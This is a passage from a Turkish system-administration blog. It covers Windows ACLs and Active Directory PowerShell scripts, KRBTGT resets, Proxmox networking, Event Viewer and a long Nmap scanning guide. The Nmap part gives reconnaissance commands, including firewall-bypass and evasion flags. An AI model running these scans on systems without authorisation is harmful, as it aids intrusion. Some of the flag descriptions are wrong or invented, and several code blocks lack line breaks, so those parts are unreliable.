tür bir güvenlik denetimi, sistem yöneticilerinin ve organizasyonların verilere ve kaynaklara erişimi sınırlamak, izlemek ve güvence altına almak için kullanılan bir güvenlik yöntemidir. Gelin biraz inceleyelim. Erişim İzinleri ve Kontrol: ACL'ler, kullanıcılara veya gruplara, belirli kaynaklara (dosyalar, klasörler, paylaşımlar, vb.) erişim düzeyini belirleme yetkisi verir. Örneğin, bir belgeye sadece belirli bir kullanıcının veya grup üyelerinin erişmesine izin verilebilir. Gizlilik ve Güvenlik: Hassas verilere sahip organizasyonlar, bu verilere yetkisiz erişimi engellemek için ACL'leri kullanabilir. Bu, verilerin gizliliğini ve güvenliğini korur. İzleme ve Denetim: ACL'ler, kimin hangi kaynaklara erişebildiğini izlemek ve denetlemek için kullanılabilir. Erişim günlükleri, belirli kaynakların kullanımını izlemek için önemlidir. Paylaşılan Kaynaklar ve Klasörler: Paylaşılan dosyalar veya klasörler, işbirliği yapmak için farklı kullanıcılar veya gruplar arasında erişim düzenlemeleri yapılmasını gerektirebilir. ACL vs ACE ++ACL (Access Control List), bir bilgisayar sistemi veya ağdaki kaynaklara (dosyalar, klasörler, ağ kaynakları, vb.) erişimi kontrol etmek için kullanılan bir güvenlik mekanizmasıdır. ACL'ler, bu kaynaklara kimin erişebileceğini ve hangi işlemleri yapabileceğini belirleyen kurallar listesini içerir. +ACE (Access Control Entry), bir ACL içindeki her bir erişim kontrol girişini ifade eder. ACE'ler, kaynağa erişim izinlerini veya kısıtlamaların belirlenmesidir. Örnek 1: Dosya Sistemi İçin ACL Diyelim ki bir dosya sistemi üzerinde çalışıyorsunuz ve belirli bir dosyayı paylaşmanız gerekiyor. Bu dosya için bir ACL oluşturalım ve ACE'leri inceleyelim: Dosya Adı: "gizli_dosya.txt" ACL: ACE 1: Kullanıcı "Ahmet" -> Okuma İzni ACE 2: Grup "Çalışanlar" -> Okuma ve Yazma İzni ACE 3: Kullanıcı "Mehmet" -> Okuma ve Yazma İzni Bu ACL, "gizli_dosya.txt" dosyasına erişim kontrolünü tanımlar. Ahmet sadece dosyayı okuyabilir, Çalışanlar grubundaki kullanıcılar okuyabilir ve yazabilir, Mehmet ise okuyabilir ve yazabilir. Örnek 2: Ağ Cihazı İçin ACL Bir ağ yöneticisi olarak, ağ cihazınızda bir erişim denetimi listesi oluşturmanız gerekebilir: ACL: ACE 1: Kaynak IP: 192.168.1.10, Hedef Port: 443 (HTTPS) -> İzin Ver ACE 2: Kaynak IP: 192.168.1.20, Hedef Port: 22 (SSH) -> İzin Ver ACE 3: Kaynak IP: 192.168.1.30, Hedef Port: 80 (HTTP) -> Reddet Bu ACL, ağ cihazınıza gelen trafiği kontrol eder. 192.168.1.10 IP'sinden gelen HTTPS trafiğine izin verilir, 192.168.1.20 IP'sinden gelen SSH trafiğine izin verilir ve 192.168.1.30 IP'sinden gelen HTTP trafiği reddedilir. 🚩 🚩 Her iki örnek de ACL ve ACE kavramlarını gösterir. ACL, bir kaynağa (dosya, ağ cihazı vb.) erişimi kontrol etmek için kullanılırken, ACE 'ler, belirli kullanıcılar veya kaynaklar için izinlerin veya reddetmelerin ayrıntılarını içerir. ACL, bu ACE'leri bir araya getirir. #AD Spesific OU ACL Reporter: # | TheGuler0x | # Active Directory module import Import-Module ActiveDirectory # OU [DistinguishedName] dsacls "OU=test,DC=guler,DC=com" #Group/User ACL Report dsacls "CN=HelpDesk,CN=users,DC=guler,DC=com" # Object ACL Report # [DistinguishedName] dsacls "CN=DESKTOP-N035,OU=MUHASEBE,DC=GULER,DC=COM" # Folder ACL Reporter Script # | TheGuler0x | ##################### function Get-FolderAcl { param ( [string]$FolderPath ) # Ana klasörün ACL bilgilerini al $Acl = Get-Acl -Path $FolderPath Write-Host "ACL bilgileri: $FolderPath" Write-Host "-------------------------------------" # Ana klasörün ACL bilgilerini görüntüle $Acl.Access | ForEach-Object { $AccessRule = $_ Write-Host "User/Group: $($AccessRule.IdentityReference)" Write-Host "Permissions: $($AccessRule.FileSystemRights)" Write-Host "Access Control Type: $($AccessRule.AccessControlType)" Write-Host "Is Inherited: $($AccessRule.IsInherited)" Write-Host "--------" } # Alt klasörlerin ACL bilgilerini al ve görüntüle Get-ChildItem -Path $FolderPath -Recurse -Directory | ForEach-Object { $Subfolder = $_.FullName $SubfolderAcl = Get-Acl -Path $Subfolder Write-Host "ACL bilgileri: $Subfolder" Write-Host "-------------------------------------" $SubfolderAcl.Access | ForEach-Object { $AccessRule = $_ Write-Host "User/Group: $($AccessRule.IdentityReference)" Write-Host "Permissions: $($AccessRule.FileSystemRights)" Write-Host "Access Control Type: $($AccessRule.AccessControlType)" Write-Host "Is Inherited: $($AccessRule.IsInherited)" Write-Host "----------------------------" } } } # Directory Get-FolderAcl -FolderPath "C:\Users\Administrator\Desktop\My_folder" 🚩 🚩 🚩 Active Directory [Inheritance-Miras] Organizasyon Birimleri (OU) bağlamında, izinlerin ve ayarların üst birimden alt birimlere ve bu birimlerdeki nesnelere nasıl aktarılmasıdır. Eğer alt OU ağacı altında bazı yetkiler eksik görünüyorsa Inheritance-Miras konrol edilmelidir. I recommend you to use the Professional Tools..... Link: https://github.com/faruk-guler/Microsoft-Active-Directory-Tools/blob/main/Mass-ACL-Reporter.ps1 Öğrenmeye aç kalın - Be hungry to learn --- ## Proxmox Bridge and Tagging [Network Configuration] Link: https://farukguler.com/posts/proxmox-bridge-and-tagging/ #vi /etc/network/interfaces#systemctl restart networking.service # Backup your Config before making changes to this file!# $: cp interfaces interfaces.bakauto loiface lo inet loopback#Network Interfaces# iface eno1 inet manual# iface eno2 inet manual# iface enp1s0f0np0 inet manualiface enp1s0f1np1 inet manual#Linux Bridgeauto vmbr0iface vmbr0 inet static address 10.5.21.19/24 gateway 10.5.21.1 bridge-ports enp1s0f1np1 bridge-stp off bridge-fd 0 bridge-vlan-aware yes bridge-vids 2-4094#Linux VLAN 21auto vmbr0.21iface vmbr0.21 inet static address 10.5.21.19/24 gateway 10.5.21.1#Linux Bond#--------#--------source /etc/network/interfaces.d/* --- ## AD KRBTGT Account Password Reset Link: https://farukguler.com/posts/ad-krbtgt-account-password-reset/ KRBTGT Hesabı Nedir? KRBTGT (Kerberos Ticket Granting Ticket) hesabı, Active Directory (AD) içinde bulunan ve Kerberos kimlik doğrulama protokolünün temel bir bileşeni olan özel bir hesaptır. Bu hesap, bilgisayar ağlarında güvenli kimlik doğrulama işlemlerini desteklemek için kullanılır. KRBTGT hesabı, Active Directory (AD) içinde bulunan özel bir hesaptır. Bu hesap, Kerberos kimlik doğrulama protokolünün çalışmasında merkezi bir rol oynar. KRBTGT hesabı, Ticket Granting Ticket (TGT) bileti üretir ve doğrular. Kullanıcılar bu bileti alarak AD içinde güvenli kimlik doğrulama yapabilirler. TGT bileti, kullanıcının kimliğini doğrulamak için kullanılır. Kullanıcılar TGT bileti ile diğer hizmetlere erişim sağlayabilirler. KRBTGT hesabı, bu bileti oluşturmak ve doğrulamak için kullanılan anahtarları ve şifrelemeyi yönetir. KRBTGT Parolasını Neden Değiştirmelisiniz? Çoğu büyük kuruluş Kerberos şifrelerini düzenli olarak değiştirir. Ancak küçük ve orta ölçekli işletmeler, etki alanı altyapılarını uygulamaya koyduklarından beri bunları değiştirmemiş olabilir. Bir saldırgan bir ağa girdiğinde "golden ticket" saldırı dizisini kullanabilir. Active Directory (AD), Kerberos biletleri için AD etki alanındaki KRBTGT'yi kullanır. KRBTGT hesabının şifre karması çalınırsa veya bir saldırıyla kırılırsa, saldırganlar gerekli kimlik doğrulamayla kendilerine ağınıza tam erişim izni verebilir. Bu sebeple KRBTGT hesabı parolasının değiştirilmesi önerilmektedir. ***Microsoft tarafından önerilen 6/ay da bir (180 gün/1) ***KRBTGT hesabı, Key Distribution Center(KDC) hizmeti için hizmet hesabı görevi gören yerel bir varsayılan hesaptır. Bu hesap silinemez ve hesap adı değiştirilemez. KRBTGT hesabı Active Directory üzerinde etkinleştirilemez. ***KRBTGT hesabının şifre geçmişi değeri 2'dir, yani en yeni 2 şifreyi içerir. Parolayı iki kez sıfırlayarak geçmişteki tüm eski parolaları etkili bir şekilde temizlersiniz; böylece başka bir DC'nin eski bir parola kullanarak bu DC ile çoğaltma yapması mümkün olmaz. ***Şifre geçmişini etkili bir şekilde kaldırmak için şifrenin iki kez değiştirilmesi gerekir. Bir kez değiştirmek, çoğaltmanın tamamlanmasını beklemek ve tekrar değiştirmek sorun riskini azaltır. Ancak Hızlı bir şekilde art arda iki kez değişiklik yapmak, istemcileri yeniden kimlik doğrulamaya zorlar (uygulama hizmetleri dahil) ***Önemli: Birçok çevresel nedenden dolayı işler ters gidebileceği için PowerShell betiğini (Windows Task Scheduler) olarak planlamanızı önermiyoruz. ***Manuel parola değişiminde, belirttiğiniz parola önemli değildir çünkü sistem, belirttiğiniz paroladan bağımsız olarak otomatik olarak güçlü bir parola oluşturacaktır. Kerberos Kimlik Doğrulama Protokolü Kerberos, bilgisayar ağlarında güvenli kimlik doğrulama sağlayan bir protokoldür. Kullanıcıların, kaynaklara erişmek için kimliklerini güvenli bir şekilde doğrulamalarını sağlar. Kerberos, kullanıcıların kimliklerini doğrulamak için şifreler ve biletler kullanır. Bu protokol, bilgisayar ağlarının güvenliğini artırmak ve yetkilendirme işlemlerini sağlamak için yaygın olarak kullanılır. KRBTGT Hesap Parolası Sıfırlama PowerShell Betiği Link: https://github.com/zjorz/Public-AD-Scripts/tree/master #Written by: Jorge de Almeida Pinto - zjorz [MVP] Not: Sürüm v1, Jared Poeppelman (Microsoft) tarafından yazılmıştır. Not: Bundan sonra Jorge de Almeida Pintore(zjorz) senaryoyu yeniden yazdı, tonlarca özellik ekledi ve 2. versiyon böylece doğmuş oldu. Not: Resmi komut dosyası adı Reset-KrbTgt-Password-For-RWDCs-And-RODCs.ps1 **Not: Versiyon 2'yi kullanmanızı öneririm. Bu Scriptin Aşamaları: KRBTGT Hesabı Şifresini Sıfırlama: İlk adımda, script KRBTGT hesabının şifresini sıfırlar ve yeni bir parola karma değeri oluşturur. Bu, güvenlik açısından kritik bir işlemdir, çünkü KRBTGT hesabının şifresi 180 günde bir değiştirilmesi önerilmektedir. ( KRBTGT Hesabını Çoğaltma: Sıfırlanan KRBTGT hesabı ve ilgili anahtarlar, hemen tüm etki alanı denetleyicilerine (Domain Controller) çoğaltılır. Bu, değişikliklerin etki alanı genelinde tutarlı bir şekilde uygulanmasını sağlar. Doğrulama İşlemi: Script, tüm etki alanı denetleyicilerine yeni anahtarların başarıyla çoğaltıldığını doğrular. Bu doğrulama, değişikliklerin her bir DC tarafından başarıyla kabul edildiğini ve etki alanının tutarlı bir şekilde güncellendiğini doğrular. Bu script, KRBTGT hesabının şifresini düzenli aralıklarla sıfırlayarak Active Directory güvenliğini artırmak için kullanışlıdır. KRBTGT hesabının şifresinin düzenli olarak değiştirilmesi, potansiyel güvenlik tehditlerine karşı bir önlem sağlar ve kötü amaçlı kullanımların önlenmesine yardımcı olur. #Son olarak #Hesabın son şifre değiştirme tarihini göster. Get-aduser krbtgt -properties passwordlastset #KRBTGT şifre çoğaltmasını tüm domainde dogrula: repadmin.exe /showattr *.guler.com "cn=krbtgt,cn=users,dc=guler,dc=com" /atts:pwdLastSet Random PASS Generator PS ISE: #Random PASS Generator PS ISE | TheGuler0x | #33: "!" (unlem isareti) #48-57: "0" ile "9" arası rakamlar #65-90: "A" ile "Z" arası buyuk harf karakter #97-122: "a" ile "z" arası kucuk harf karakter #126: "~" (tilde) $Length = 20 # Parola uzunlugu $RandomPassword = -join (33..126 | Get-Random -Count $Length | ForEach-Object {[char]$_}) $RandomPassword Umarım yararlı olmuştur. – I hope it was useful. --- ## Disk temizleme aracı Windows güncelleme temizleme işlemi neden bu kadar uzun sürüyor? Link: https://farukguler.com/posts/disk-temizleme-araci/ Disk Temizleme aracından Windows Update dosyalarını temizlemesini isterseniz, bunun uzun sürdüğünü ve çok fazla CPU tükettiğini görebilirsiniz.  Ne yapıyor bu? Dosyaları silmek neden kadar zor ? Windows Update Temizleme seçeneği yalnızca dosyaları silmekten daha fazlasını yapar. Temelde (iki şey) yapıyor. Eşdeğerini Yapma (Deep Clean): Bu, "deep clean" takma adıyla geçen bir komuttur ve artık referans verilmeyen bileşenleri arayarak bileşen kataloğunu temizler. Normalde sistem, programlı bakım görevinde otomatik olarak bileşen temizleme işlemini gerçekleştirir. Otomatik temizlemenin, referans verilmeyen bir bileşeni kaldırmadan önce "30 gün bekleme" politikası vardır ve ayrıca kendi kendine belirlediği bir saatlik süre sınırına sahiptir. Ancak yukarıdaki özel komut satırı hem 30 günlük yetkisiz kullanım süresini hem de 1 saatlik zaman aşımını atlar. Başvurulmayan bileşenler hemen kaldırılır ve görev bir saatten fazla sürse bile tamamlanana kadar çalıştırılır. #DISM (Deployment Imaging Service and Management Tool) Windows görüntüsündeki bileşenleri temizlemek ve gereksiz dosyaları kaldırmak içindir. dism /Online /Cleanup-Image /StartComponentCleanup Bu işlem, sistemin daha hızlı ve daha temiz olmasını sağlar. Bu nedenle, özellikle gereksiz dosyaların biriktiği durumlarda, kullanışlıdır. Windows Update Temizleme görevinin yaptığı diğer şey,  "Wof­Should­Compress­Binaries" Kontrolü: Bu adım, "Wof­Should­Compress­Binaries" adlı bir işlev aracılığıyla gerçekleştirilir. Bu işlev, sistemin sistem dosyalarının sıkıştırılmasının faydalı olup olmadığını değerlendirir. Eğer sıkıştırmanın faydalı olduğu sonucuna varılırsa, işlem devam eder. Dosyaların Sıkıştırılması: Sıkıştırmaya uygun olan ve daha önce sıkıştırılmamış işletim sistemi dosyaları, bu adımda sıkıştırılır. Sıkıştırma işlemi, dosyaların boyutunu küçültür ve bu sayede daha fazla verinin daha az alan kaplamasını sağlar. Sonuçların Saklanması: Sıkıştırma işlemi sonucunda elde edilen veriler, "WofCompressedData" adlı alternatif bir veri akışında saklanır. Bu, sıkıştırılmış verilerin orijinal verilere göre daha verimli bir şekilde depolanmasını sağlar. Bu sıkıştırma işlemi için Windows Kaplama Filtresi tarafından kullanılan sıkıştırma algoritması, gerçek zamanlı sıkıştırma algoritmalarına göre daha yüksek kalitede bir sıkıştırma sunar. Ancak bu yüksek kalite, sıkıştırma işleminin maliyetli olmasına neden olur. Sıkıştırma işlemi, daha fazla CPU zamanı gerektirir. Bu nedenle, Windows Update Temizleme işlemi sırasında çok fazla CPU kaynağı kullanmasının nedeni budur. Umarım yararlı olmuştur. - I hope it was useful. --- ## Deep Dive Exploring Event Viewer with "PowerShell" Link: https://farukguler.com/posts/deep-dive-exploring-event-viewer-with-powershell/ #To list Windows event log types Get-WinEvent –ListLog * Get-EventLog -List #Show only security events in list format: (Application, System, Security etc.) Get-WinEvent -LogName Security | Format-List #Get Log (GridView) fetch by id: Get-EventLog -LogName "Security" -InstanceId 4738 | Out-GridView #Show (Specific) Event ID in security events list: Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4738 } | Format-List #Get-WinEvent data in HTML (Table) format Export: Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4672 } | ConvertTo-Html -As Table -Property * | Out-File C:\Report.html #Get-WinEvent data in HTML (List) format Export: Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4672 } | ConvertTo-Html -As List -Property * | Out-File C:\Report.html #The path where the system event logs are stored C:\Windows\System32\winevt\ C:\Windows\System32\winevt\Logs Event Viewer'in Sınırı Nedir ? Maksimum Kaynak Boyutudur (Maximum Size): Olay günlüğünün toplam boyutunu belirler. Bu boyut genellikle kilobayt (KB) veya megabayt (MB) cinsinden ifade edilir. Eğer bir olay günlüğü bu boyutu aşarsa, eski kayıtların silinmesi veya başka bir aksiyon alınması gerekebilir. "Maksimum log size (KB)" ifadesi olay günlüğünün ne kadar yer kaplayabileceğini belirleyen bir parametredir. Bu parametre, olay günlüğünün Max kaç kilobayt (KB) boyutunda olabileceğini belirler. Örneğin, bir sistem veya uygulama için "Maksimum Log Size (KB)" değeri 1024 KB olarak ayarlanmışsa, olay günlüğü 1 megabayt (MB) boyutuna ulaşana kadar veri kaydetmeye devam eder. ***Eğer bu boyut sınırına ulaşılırsa, aşağıda belirtilen günlük yönetim seçeneklerinden biri uygulanacaktır. Gerektiğinde olayların üzerine yaz (öncelikle eskiler): Bu seçenek, olay günlüğünün maksimum boyutuna ulaştığında, olayları üzerine yazmayı ifade eder. Yani günlüğün boyut sınırına ulaşıldığında, yeni olaylar eski olayların üzerine yazılarak kaydedilir. Bu, olay günlüğünün sürekli güncel olmasını sağlar, ancak eski olayların kalıcı olarak silinmesine neden olabilir. Günlük dolduğunda arşivle, olayları üzerine yazma: Bu seçenek, olay günlüğünün maksimum boyutuna ulaştığında verilerin başka bir günlüğe taşınmasını içerir. Eski veriler, başka bir günlük dosyasına taşınarak korunur ve orijinal günlük temizlenir. Bu seçenek, eski olayların korunmasına ve günlüğün temizlenmesine olanak tanır. Olayları üzerine yazma (günlüğü manuel temizle): Bu seçenek, olay günlüğünün dolduğunda herhangi bir taşma eylemi uygulanmamasını ifade eder. Bu, yeni veri yazmayı durdurmaz veya verileri taşımaz. Günlük maksimum boyutuna ulaştığında yeni olaylar kaydedilmez. Eğer bu seçenek seçilirse, olay günlüğü manuel olarak temizlenmelidir. Saygılarımla – Best Regards --- ## Disabled Windows Server RDP Limit Number of Connections (GPO) Link: https://farukguler.com/posts/disabled-windows-server-rdp-limit-number-of-connections-gpo/ RDP (Remote Desktop Protocol) oturum açma limiti kaldırma politikaları, Windows işletim sistemi tabanlı sunucularda kullanılan bir özelliktir. Bu politikalar, RDP ile uzak masaüstü bağlantılarının yönetimini etkiler. Bu politikalar sadece "Sunucu/Server Tarafında" yapılandırılır. Computer Configuration > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Connections "Limit number of connections" RDP oturum açma limiti kaldırma politikaları, aynı anda kaç RDP oturumu açılabileceğini veya belirli kullanıcıların RDP oturumu açma yetkisini sınırlamayı veya sınırsız bağlantıya izin vermeye yarar. Bu politikalar, sunucunun "Local Group Policy Editor" veya "Group Policy Management Console" gibi araçlarla yapılandırılabilir. Sunucu yöneticileri veya sistem yöneticileri bu politikaları sunucu üzerinde yapılandırarak RDP oturum açma sınırlamalarını kaldırabilirler. Clientler, bu politikalardan etkilemezler ve üzerinde bu tür ayarlar yapılamamaktadır. Bu nedenle, RDP oturum açma limiti kaldırma politikaları yalnızca "sunucu/server" tarafında çalışır. Windows Server 2025 Windows Server 2022 Windows Server 2019 Windows Server 2016 Windows Server 2012 (R2) Windows Server 2008 (R2) Windows Server 2003 (R2) Windows 2000 Server Windows NT 4.0 Windows NT 3.51 Windows NT 3.5 Windows NT 3.1 etc. --- ## AD Mass Department+Division+Description And More Changer Link: https://farukguler.com/posts/ad-mass-department-division-description-and-more-changer/ #fromOU # OU'nun DistinguishedName'ini belirleyin $ouDistinguishedName = "OU=test,DC=guler,DC=com" # Yeni değerleri belirtin $newDepartment = "YeniDepartman" $newDivision = "YeniBölüm" $newDescription = "YeniAçıklama" # Belirtilen OU altındaki kullanıcıların tüm alanlarını güncelleyin Get-ADUser -Filter * -SearchBase $ouDistinguishedName | ForEach-Object { Set-ADUser -Identity $_ -Replace @{ Department = $newDepartment Division = $newDivision Description = $newDescription } } #from CSV FILE # CSV dosyasının yolunu belirtin: $csvFilePath = "C:\files\degistir.csv" # Yeni değerler: $newDepartment = "YeniDepartman" $newDescription = "YeniAçıklama" # CSV dosyasını içe aktar: $userData = Import-Csv -Path $csvFilePath # Her bir kullanıcı için güncelle: foreach ($user in $userData) { $sAMAccountName = $user.sAMAccountName # Kullanıcıyı sAMAccountName'e göre bulun: $userToUpdate = Get-ADUser -Filter {sAMAccountName -eq $sAMAccountName} if ($userToUpdate) { # Kullanıcının özelliklerini güncelleyin Set-ADUser -Identity $userToUpdate -Replace @{ Department = $newDepartment Description = $newDescription } Write-Host "Kullanıcı $sAMAccountName güncellendi." } else { Write-Host "Kullanıcı $sAMAccountName bulunamadı." } } --- ## Kubernetes Nedir? Link: https://farukguler.com/posts/kubernetes-nedir/ Kubernetes, konteyner tabanlı uygulamaların otomatik dağıtımı, ölçeklendirilmesi ve yönetimi için açık kaynaklı bir platformdur. Google tarafından geliştirilmiş olup,şu anda Cloud Native Computing Foundation (CNCF) tarafından yönetilmektedir. Kubernetes (genellikle k8s olarak kısaltılır), karmaşık uygulama ve mikro servis tabanlı sistemleri yönetmek için bir çözüm sunar. Kubernetes, konteynerleri çalıştırmak için Docker, Containerd ve CRI-O gibi çeşitli konteyner çalışma zamanlarını (runtime) destekler. DOC'shttps://github.com/Furkan-Gulsen/kubernetes-docshttps://github.com/murataksunet/KUBERNETES-SifirdanBaslayarakUygulamaliOgreninhttps://www.cncf.iohttps://github.com/kuberneteshttps://kubernetes.io/docs/home --- ## WHAT IS NMAP? EXAMINATION Link: https://farukguler.com/posts/nmap-nedir-inceleme/ theguler@Norden:~# nmap -VNmap version 7.80 ( https://nmap.org )Platform: x86_64-pc-linux-gnuCompiled with:Compiled without:Available nsock engines: Nmap, (Network Map) ağ keşfi için kullanılan tarayıcılarının tanrısıdır.Bir sızma testinin ilk aşamalarında çoğu güvenlik araştırmacısının temel aralarından birisidir.1990'ların sonlarına doğru Fyodor AKA Gordon Lyon tarafından yazılmış ve bakımı yapılmıştır.Nmap, aralarında The Matrix Reloaded, Die Hard 4, Girl With the Dragon Tattoo ve The Bourne Ultimatum'un da bulunduğu on iki filmde adı geçmektedir. Nmap ne yapar: Ana Makine Keşfi: Bağlantı Noktası Bulma/Numaralandırma: Servis Keşfi: İşletim Sistemi Sürümü Tespiti: Donanım (MAC) Adresi Tespiti: Servis Sürümü Tespiti: Nmap Komut Dosyaları (NSE) Kullanılarak Güvenlik Açığı/Kötüye Kullanım Tespiti: Nmap IDS / Port Tarama Tespiti ve Tarama Süresi Optimizasyonu: Nmap'i indirin ve yükleyin: Nmap genellikle Linux dağıtım paket yöneticiniz aracılığıyla yüklenir. Debian / Ubuntu / KaliAPT paket yöneticisini kullanarak: apt install nmap RHEL / Fedora, CentOS, Rocky LinuxDNF paket yöneticisini kullanarak: dnf install nmap WindowsWindows için Nmap'i indirin ve yükleyin: https://nmap.org/download#windows MacOSBrew kullanarak: brew install nmap Nmap Commands:#Specific to scan general most common (1,000 ports in total):nmap 10.5.41.36#To specifically scan all ports (65535 ports and more):nmap -p- 10.5.41.36#Supported (grep) to specifically scan all ports (65535 ports and more):nmap -p- 10.5.41.36 | grep 'open'#Scan only certain ports:nmap -p- 80,443 10.4.44.85#Subdomain Dns scanning (grep) supported:sudo nmap -sn 10.8.40.0/24 | grep "report for"For #Sub Mac Address scanning:sudo nmap -sn 10.5.50.0/24sudo nmap -sP -n 10.5.50.2/24#Specific public port scanning and service information:nmap -sV 10.5.41.36#Operating system and version check:nmap -A 10.5.41.36#Operating system and version informationnmap -A 10.5.41.36#Detect whether the target is protected by firewall:sudo nmap -sA 10.5.48.36#To scan the system protected by firewall:sudo nmap -PN 10.5.42.152#Most frequently used (10) ports:nmap -top-ports 10 10.5.25.36#All incoming and outgoing packages:nmap -packet-trace 10.5.48.125#you can scan ip addresses from file:nmap -iL iplist.txt#Accessing operating system information:sudo nmap -O 10.8.45.32#To scan all tcp ports:sudo nmap -sT 10.5.89.66#To scan all udp ports:sudo nmap -sU 10.5.63.45#To print out #Nmap results:nmap 10.9.25.25 > output.txt Taramalarda Kullanılan Bazı Parametler: -T: Tarama hızını belirlemek için kullanılır. -T5 daha hızlı bir tarama yaparken, -T1 daha yavaş ve dikkatli bir tarama yapar. -n: DNS çözümlemesi yapma anlamına gelir. -v, -vv, -vvv: Ekrana gösterilecek detayları artırır. -F: Daha hızlı tarama yapar. Daha az sonuç bulur. --reason: Bulduğu bir sonucun sebebini gösterir. --open: Sadece açık portları gösterir. -p-: Bir IP üzerinde bulunması muhtemel 65535 portun hepsini tarar. -sV: Açık portta çalışan servisin ne olduğunu bulmaya çalışır. -sC ile birlikte kullanılırsa işe yarar. -sC: -sV ile versiyon tespiti yapılırken Nmap scriptlerini kullanır. -p: Sadece bu parametreden sonra belirtilen portları tarar. --top-ports: En çok kullanılan portları tarar. --Pn: Ping atmak istenmediğinde kullanılır. --h: Yardım almak için kullanılır. --V: Nmap versiyon kontrolü için kullanılır. --6: IPv6 aktif edilmek istendiğinde kullanılır. --A: Agresif tarama opsiyonunu aktifleştirir. --e [interface]: Network kartı tanımlamak amaçlı kullanılır. --ttl: TTL değerinin ayarlanmasını sağlar. --badsum: Hatalı checksuma sahip paketler gönderir. --data-length: Paketlerin boyutunun ayarlanmasını sağlar. -a: Tüm taramaları yap (TCP, UDP, SCTP, vs…) -p-: Tüm portları tara. -sT: TCP Connect taraması yap. -sU: UDP taraması yap. -sV: Servis sürümü tespiti yap. -A: İşletim sistemi ve sürüm tespiti yap. -O: İşletim sistemi tespiti yap. -v: Ayrıntılı çıktı ver. -vv: Daha fazla ayrıntılı çıktı ver. -oN: Çıktıyı normal dosyaya kaydet. -oX: XML çıktı dosyası oluştur. -oG: Grep-uyumlu çıktı dosyası oluştur. -iL: Dosyadan hedefleri al. --exclude: Belirli IP adreslerini hariç tut. --script: NSE betiklerini çalıştır. --open: Açık portları göster. --scanflags: Özel tarama bayrakları belirle. -T: Tarama hızını belirlemek için kullanılır. -T5 daha hızlı bir tarama yaparken, -T1 daha yavaş ve dikkatli bir tarama yapar. -sn: Port taraması yapma anlamına gelir. Sadece ping atarak online/offline olarak kontrol eder. Aynı zamanda subdomain DNS tarar. -n: DNS çözümlemesi yapma anlamına gelir. Yani, IP adreslerini çözümleme işlemini atlar ve doğrudan IP adreslerini kullanır. -v, -vv, -vvv: Ekrana gösterilecek detayları artırır. -v daha az detay gösterirken, -vvv daha fazla detay sağlar. -F: Daha hızlı tarama yapar, ancak daha az sonuç bulur. Yani, tarama hızını artırır. -sS: SYN taraması yapar. SYN/ACK yanıtı bekler. --reason: Bulduğu bir sonucun sebebini gösterir. Yani, neden bir portun açık veya kapalı olduğunu açıklar. --open: Sadece açık portları gösterir. Diğer tüm sonuçları görmezden gelir. -p-: Bir IP üzerinde bulunması muhtemel 65535 portun hepsini tarar. -sV: Açık portta çalışan servisin ne olduğunu bulmaya çalışır. -sC ile birlikte kullanılırsa işe yarar. Yani, hedefteki servislerin versiyonlarını saptamaya çalışır. -sC: -sV ile servis tespiti yapılırken Nmap scriptlerini (NSE) kullanır. Bu, daha fazla bilgi elde etmek için kullanılır. -p: Sadece bu parametreden sonra belirtilen portları tarar. --top-ports: En çok kullanılan portları tarar. Bu, yaygın olarak kullanılan servisleri hedeflemek için kullanışlıdır. --Pn: Ping atmak istenmediğinde kullanılır. Yani, hedeflere ping göndermeyi atlar. Tarama Sonucu Port Durum Terimleri: Open = Portun aktif olduğu ve bağlantıyı kabul ettiğini gösterir.Closed = Portun erişilebilir olduğu ancak üzerine işlem yapılamadığını gösterir.Filtered = Bir firewall tarafından engellendiğini gösterir.Unfiltered = ACK taraması sonucunda portun isteklere yanıt verdiğini fakat durumunun tespit edilmediğini gösterir.Open | Filtered = Portun açık fakat bir firewall tarafından engellendiğini gösterir.Closed | Filtered = Portun kapalı veya firewall olup olmadığını gösterir. Nmap ile kullanabileceğiniz bazı temel tarama tipleri: TCP Taraması (TCP SYN Taraması): Bu, Nmap'in varsayılan tarama türüdür. Nmap, TCP bağlantıları kurmadan hedef sistemlerin belirli portlarını denemek için TCP SYN paketleri kullanır. Bu yöntem hedef sistemlerdeki açık portları tespit etmek için yaygın olarak kullanılır. UDP Taraması: TCP taraması gibi, hedef sistemlerin UDP portlarını taramak için UDP paketlerini kullanır. UDP taraması, bazı servislerin ve uygulamaların gizli UDP portlarını tespit etmek için kullanılır. TCP Bağlantı Taraması (TCP Connect Taraması): Bu yöntemde Nmap, hedef portlara tam bir TCP bağlantısı kurar. Bu, hedef portların gerçekten açık ve erişilebilir olup olmadığını belirlemek için kullanılır, ancak daha kolay tespit edilir. ACK Taraması: ACK taraması, hedef sistemlerin güvenlik duvarları ve filtreleri tarafından nasıl işlendiğini belirlemek için kullanılır. Hedef sistem, ACK yanıtlarını nasıl ele aldığına bağlı olarak tespit edilebilir. FIN Taraması: Bu tarama türü, hedef sistemlerin FIN paketlerine nasıl yanıt verdiğini test etmek için kullanılır. FIN taraması, sistemlerin belirli portlara sahip olup olmadığını belirlemek için kullanılır. XMAS Taraması: XMAS taraması, hedef sistemlerin belirli portlara ilişkin davranışlarını analiz etmek için kullanılır. Bu tarama, belirli bayrakların (FIN, URG ve PSH) açık veya kapalı olup olmadığını kontrol eder. SCTP INIT Taraması: Stream Control Transmission Protocol (SCTP) kullanılan sistemlerde SCTP INIT taraması yapar. IDLE Taraması: Bu tarama türü, hedef sistemlerdeki filtreleri analiz etmek için kullanılır ve hedef sistemdeki portlar hakkında bilgi toplamak amacıyla tasarlanmıştır. ICMP Taraması: ICMP (Internet Control Message Protocol) taraması, hedef sistemlerin ICMP yanıtlarına nasıl tepki verdiğini incelemek için kullanılır. Custom Taramalar: Nmap, kullanıcının özel tarama tipleri oluşturmasına da izin verir. Kullanıcılar, belirli portları, protokolleri ve diğer tarama seçeneklerini özelleştirebilirler. Nmap Scripting Engine (NSE) Nedir? https://nmap.org/nsedoc/scripts/ Nmap Scripting Engine (NSE), popüler bir ağ keşif aracı olan Nmap'in (Network Mapper) bir bileşenidir. Nmap, ağdaki bilgisayarları, hizmetleri ve açık portları taramak, izlemek ve incelemek için kullanılan bir açık kaynaklı araçtır. NSE, Nmap'in yeteneklerini genişletmek ve özelleştirmek için kullanılan güçlü bir özelliktir. Ağ keşif işlemlerini otomatize etmek, belirli hizmetlerin ve güvenlik açıklarının tespiti için özelleştirilmiş taramaları çalıştırmak ve hatta özel ağ zafiyetlerini 